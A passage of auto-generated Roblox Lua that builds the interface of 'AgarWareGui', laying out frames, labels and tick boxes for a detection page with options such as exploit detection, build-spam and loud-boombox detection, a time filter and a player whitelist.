G2L["1f9"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1f9"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1f9"]["BackgroundTransparency"] = 1; G2L["1f9"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["1f9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1f9"]["Text"] = [[Build Spam Detect..]]; G2L["1f9"]["Name"] = [[EnableSpamText]]; G2L["1f9"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableExploitsRow G2L["1fa"] = Instance.new("Frame", G2L["1e6"]); G2L["1fa"]["BorderSizePixel"] = 0; G2L["1fa"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1fa"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["1fa"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["1fa"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1fa"]["Name"] = [[EnableExploitsRow]]; G2L["1fa"]["LayoutOrder"] = 2; G2L["1fa"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableExploitsRow.EnableExploitsScript G2L["1fb"] = Instance.new("LocalScript", G2L["1fa"]); G2L["1fb"]["Name"] = [[EnableExploitsScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableExploitsRow.EnableExploitsTickBox G2L["1fc"] = Instance.new("TextButton", G2L["1fa"]); G2L["1fc"]["TextSize"] = 14; G2L["1fc"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["1fc"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1fc"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1fc"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["1fc"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["1fc"]["Text"] = [[]]; G2L["1fc"]["Name"] = [[EnableExploitsTickBox]]; G2L["1fc"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableExploitsRow.EnableExploitsText G2L["1fd"] = Instance.new("TextLabel", G2L["1fa"]); G2L["1fd"]["BorderSizePixel"] = 0; G2L["1fd"]["TextSize"] = 14; G2L["1fd"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["1fd"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1fd"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1fd"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1fd"]["BackgroundTransparency"] = 1; G2L["1fd"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["1fd"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1fd"]["Text"] = [[Exploit Detection]]; G2L["1fd"]["Name"] = [[EnableExploitsText]]; G2L["1fd"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup G2L["1fe"] = Instance.new("Frame", G2L["1e4"]); G2L["1fe"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["1fe"]["BorderMode"] = Enum.BorderMode.Middle; G2L["1fe"]["Size"] = UDim2.new(0, 170, 0, 65); G2L["1fe"]["Position"] = UDim2.new(0, 0, 0.35278, 0); G2L["1fe"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["1fe"]["Name"] = [[MiscGroup]]; G2L["1fe"]["LayoutOrder"] = 2; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.MiscScript G2L["1ff"] = Instance.new("LocalScript", G2L["1fe"]); G2L["1ff"]["Name"] = [[MiscScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.MiscToolTip G2L["200"] = Instance.new("LocalScript", G2L["1fe"]); G2L["200"]["Name"] = [[MiscToolTip]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.UIListLayout G2L["201"] = Instance.new("UIListLayout", G2L["1fe"]); G2L["201"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.MiscAccentColor G2L["202"] = Instance.new("Frame", G2L["1fe"]); G2L["202"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["202"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["202"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["202"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["202"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["202"]["Name"] = [[MiscAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.MiscTitle G2L["203"] = Instance.new("TextLabel", G2L["1fe"]); G2L["203"]["TextWrapped"] = true; G2L["203"]["BorderSizePixel"] = 0; G2L["203"]["TextSize"] = 14; G2L["203"]["TextScaled"] = true; G2L["203"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["203"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["203"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["203"]["BackgroundTransparency"] = 0.95; G2L["203"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["203"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["203"]["Text"] = [[Misc]]; G2L["203"]["LayoutOrder"] = 1; G2L["203"]["Name"] = [[MiscTitle]]; G2L["203"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.MiscTitle.MiscMinimize G2L["204"] = Instance.new("TextButton", G2L["203"]); G2L["204"]["BorderSizePixel"] = 0; G2L["204"]["TextSize"] = 14; G2L["204"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["204"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["204"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["204"]["BackgroundTransparency"] = 1; G2L["204"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["204"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["204"]["Text"] = [[-]]; G2L["204"]["Name"] = [[MiscMinimize]]; G2L["204"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.LBoomboxRow G2L["205"] = Instance.new("Frame", G2L["1fe"]); G2L["205"]["BorderSizePixel"] = 0; G2L["205"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["205"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["205"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["205"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["205"]["Name"] = [[LBoomboxRow]]; G2L["205"]["LayoutOrder"] = 2; G2L["205"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.LBoomboxRow.LBoomboxScript G2L["206"] = Instance.new("LocalScript", G2L["205"]); G2L["206"]["Name"] = [[LBoomboxScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.LBoomboxRow.LBoomboxTickBox G2L["207"] = Instance.new("TextButton", G2L["205"]); G2L["207"]["TextSize"] = 14; G2L["207"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["207"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["207"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["207"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["207"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["207"]["Text"] = [[]]; G2L["207"]["Name"] = [[LBoomboxTickBox]]; G2L["207"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.LBoomboxRow.LBoomboxText G2L["208"] = Instance.new("TextLabel", G2L["205"]); G2L["208"]["BorderSizePixel"] = 0; G2L["208"]["TextSize"] = 14; G2L["208"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["208"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["208"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["208"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["208"]["BackgroundTransparency"] = 1; G2L["208"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["208"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["208"]["Text"] = [[Detect Loud Boombox]]; G2L["208"]["Name"] = [[LBoomboxText]]; G2L["208"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.AutoPaintRepRow G2L["209"] = Instance.new("Frame", G2L["1fe"]); G2L["209"]["BorderSizePixel"] = 0; G2L["209"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["209"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["209"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["209"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["209"]["Name"] = [[AutoPaintRepRow]]; G2L["209"]["LayoutOrder"] = 8; G2L["209"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.AutoPaintRepRow.AutoPaintRepScript G2L["20a"] = Instance.new("LocalScript", G2L["209"]); G2L["20a"]["Name"] = [[AutoPaintRepScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.AutoPaintRepRow.AutoPaintRepTickBox G2L["20b"] = Instance.new("TextButton", G2L["209"]); G2L["20b"]["TextSize"] = 14; G2L["20b"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["20b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["20b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["20b"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["20b"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["20b"]["Text"] = [[]]; G2L["20b"]["Name"] = [[AutoPaintRepTickBox]]; G2L["20b"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.AutoPaintRepRow.AutoPaintRepText G2L["20c"] = Instance.new("TextLabel", G2L["209"]); G2L["20c"]["BorderSizePixel"] = 0; G2L["20c"]["TextSize"] = 14; G2L["20c"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["20c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["20c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["20c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["20c"]["BackgroundTransparency"] = 1; G2L["20c"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["20c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["20c"]["Text"] = [[Auto Repaint Bkit]]; G2L["20c"]["Name"] = [[AutoPaintRepText]]; G2L["20c"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide G2L["20d"] = Instance.new("Frame", G2L["1e3"]); G2L["20d"]["BorderSizePixel"] = 0; G2L["20d"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18); G2L["20d"]["Size"] = UDim2.new(0, 170, 0, 360); G2L["20d"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0); G2L["20d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["20d"]["Name"] = [[TCODetectionRightSide]]; G2L["20d"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.UIListLayout G2L["20e"] = Instance.new("UIListLayout", G2L["20d"]); G2L["20e"]["Padding"] = UDim.new(0, 7); G2L["20e"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup G2L["20f"] = Instance.new("Frame", G2L["20d"]); G2L["20f"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["20f"]["BorderMode"] = Enum.BorderMode.Middle; G2L["20f"]["Size"] = UDim2.new(0, 170, 0, 137); G2L["20f"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["20f"]["Name"] = [[GSettingsGroup]]; G2L["20f"]["LayoutOrder"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GSettingsScript G2L["210"] = Instance.new("LocalScript", G2L["20f"]); G2L["210"]["Name"] = [[GSettingsScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GSettingsToolTip G2L["211"] = Instance.new("LocalScript", G2L["20f"]); G2L["211"]["Name"] = [[GSettingsToolTip]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.UIListLayout G2L["212"] = Instance.new("UIListLayout", G2L["20f"]); G2L["212"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GSettingsTitle G2L["213"] = Instance.new("TextLabel", G2L["20f"]); G2L["213"]["TextWrapped"] = true; G2L["213"]["BorderSizePixel"] = 0; G2L["213"]["TextSize"] = 14; G2L["213"]["TextScaled"] = true; G2L["213"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["213"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["213"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["213"]["BackgroundTransparency"] = 0.95; G2L["213"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["213"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["213"]["Text"] = [[Detection Settings]]; G2L["213"]["LayoutOrder"] = 1; G2L["213"]["Name"] = [[GSettingsTitle]]; G2L["213"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GSettingsTitle.GSettingsMinimize G2L["214"] = Instance.new("TextButton", G2L["213"]); G2L["214"]["BorderSizePixel"] = 0; G2L["214"]["TextSize"] = 14; G2L["214"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["214"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["214"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["214"]["BackgroundTransparency"] = 1; G2L["214"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["214"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["214"]["Text"] = [[-]]; G2L["214"]["Name"] = [[GSettingsMinimize]]; G2L["214"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GSettingsAccentColor G2L["215"] = Instance.new("Frame", G2L["20f"]); G2L["215"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["215"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["215"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["215"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["215"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["215"]["Name"] = [[GSettingsAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.TimeFilterRow G2L["216"] = Instance.new("Frame", G2L["20f"]); G2L["216"]["BorderSizePixel"] = 0; G2L["216"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["216"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["216"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["216"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["216"]["Name"] = [[TimeFilterRow]]; G2L["216"]["LayoutOrder"] = 3; G2L["216"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.TimeFilterRow.TimeFilterText G2L["217"] = Instance.new("TextLabel", G2L["216"]); G2L["217"]["BorderSizePixel"] = 0; G2L["217"]["TextSize"] = 14; G2L["217"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["217"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["217"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["217"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["217"]["BackgroundTransparency"] = 1; G2L["217"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["217"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["217"]["Text"] = [[Time Filter]]; G2L["217"]["Name"] = [[TimeFilterText]]; G2L["217"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.TimeFilterRow.TimeFilterChanger G2L["218"] = Instance.new("TextBox", G2L["216"]); G2L["218"]["Name"] = [[TimeFilterChanger]]; G2L["218"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255); G2L["218"]["TextWrapped"] = true; G2L["218"]["TextSize"] = 14; G2L["218"]["TextColor3"] = Color3.fromRGB(0, 124, 255); G2L["218"]["TextScaled"] = true; G2L["218"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["218"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["218"]["PlaceholderText"] = [[(none)]]; G2L["218"]["Size"] = UDim2.new(0, 46, 0, 16); G2L["218"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0); G2L["218"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["218"]["Text"] = [[]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.TimeFilterRow.TimeFilterChanger.TimeFilterScript G2L["219"] = Instance.new("LocalScript", G2L["218"]); G2L["219"]["Name"] = [[TimeFilterScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.TimeFilterRow.TimeFilterHelp G2L["21a"] = Instance.new("TextButton", G2L["216"]); G2L["21a"]["TextSize"] = 14; G2L["21a"]["TextColor3"] = Color3.fromRGB(96, 96, 96); G2L["21a"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["21a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["21a"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["21a"]["BorderColor3"] = Color3.fromRGB(82, 82, 82); G2L["21a"]["Text"] = [[?]]; G2L["21a"]["Name"] = [[TimeFilterHelp]]; G2L["21a"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListLabelRow G2L["21b"] = Instance.new("Frame", G2L["20f"]); G2L["21b"]["BorderSizePixel"] = 0; G2L["21b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["21b"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["21b"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["21b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["21b"]["Name"] = [[WListLabelRow]]; G2L["21b"]["LayoutOrder"] = 20; G2L["21b"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListLabelRow.WListLabelScript G2L["21c"] = Instance.new("LocalScript", G2L["21b"]); G2L["21c"]["Name"] = [[WListLabelScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListLabelRow.WListLabelText G2L["21d"] = Instance.new("TextLabel", G2L["21b"]); G2L["21d"]["BorderSizePixel"] = 0; G2L["21d"]["TextSize"] = 14; G2L["21d"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["21d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["21d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["21d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["21d"]["BackgroundTransparency"] = 1; G2L["21d"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["21d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["21d"]["Text"] = [[Whitelist Players:]]; G2L["21d"]["Name"] = [[WListLabelText]]; G2L["21d"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListLabelRow.WListLabelHelp G2L["21e"] = Instance.new("TextButton", G2L["21b"]); G2L["21e"]["TextSize"] = 14; G2L["21e"]["TextColor3"] = Color3.fromRGB(96, 96, 96); G2L["21e"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["21e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["21e"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["21e"]["BorderColor3"] = Color3.fromRGB(82, 82, 82); G2L["21e"]["Text"] = [[?]]; G2L["21e"]["Name"] = [[WListLabelHelp]]; G2L["21e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListRow G2L["21f"] = Instance.new("Frame", G2L["20f"]); G2L["21f"]["BorderSizePixel"] = 0; G2L["21f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["21f"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["21f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["21f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["21f"]["Name"] = [[WListRow]]; G2L["21f"]["LayoutOrder"] = 21; G2L["21f"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListRow.WListScript G2L["220"] = Instance.new("LocalScript", G2L["21f"]); G2L["220"]["Name"] = [[WListScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListRow.WListDropdown G2L["221"] = Instance.new("TextButton", G2L["21f"]); G2L["221"]["TextSize"] = 14; G2L["221"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["221"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["221"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["221"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["221"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["221"]["Text"] = [[]]; G2L["221"]["Name"] = [[WListDropdown]]; G2L["221"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefInGameRow G2L["222"] = Instance.new("Frame", G2L["20f"]); G2L["222"]["BorderSizePixel"] = 0; G2L["222"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["222"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["222"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["222"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["222"]["Name"] = [[GriefInGameRow]]; G2L["222"]["LayoutOrder"] = 5; G2L["222"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefInGameRow.GriefInGameScript G2L["223"] = Instance.new("LocalScript", G2L["222"]); G2L["223"]["Name"] = [[GriefInGameScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefInGameRow.GriefInGameTickBox G2L["224"] = Instance.new("TextButton", G2L["222"]); G2L["224"]["TextSize"] = 14; G2L["224"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["224"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["224"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["224"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["224"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["224"]["Text"] = [[]]; G2L["224"]["Name"] = [[GriefInGameTickBox]]; G2L["224"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefInGameRow.GriefInGameText G2L["225"] = Instance.new("TextLabel", G2L["222"]); G2L["225"]["BorderSizePixel"] = 0; G2L["225"]["TextSize"] = 14; G2L["225"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["225"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["225"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["225"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["225"]["BackgroundTransparency"] = 1; G2L["225"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["225"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["225"]["Text"] = [[Abandoned Blocks]]; G2L["225"]["Name"] = [[GriefInGameText]]; G2L["225"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefEnlightenRow G2L["226"] = Instance.new("Frame", G2L["20f"]); G2L["226"]["BorderSizePixel"] = 0; G2L["226"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["226"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["226"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["226"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["226"]["Name"] = [[GriefEnlightenRow]]; G2L["226"]["LayoutOrder"] = 5; G2L["226"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefEnlightenRow.GriefEnlightenScript G2L["227"] = Instance.new("LocalScript", G2L["226"]); G2L["227"]["Name"] = [[GriefEnlightenScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefEnlightenRow.GriefEnlightenTickBox G2L["228"] = Instance.new("TextButton", G2L["226"]); G2L["228"]["TextSize"] = 14; G2L["228"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["228"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["228"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["228"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["228"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["228"]["Text"] = 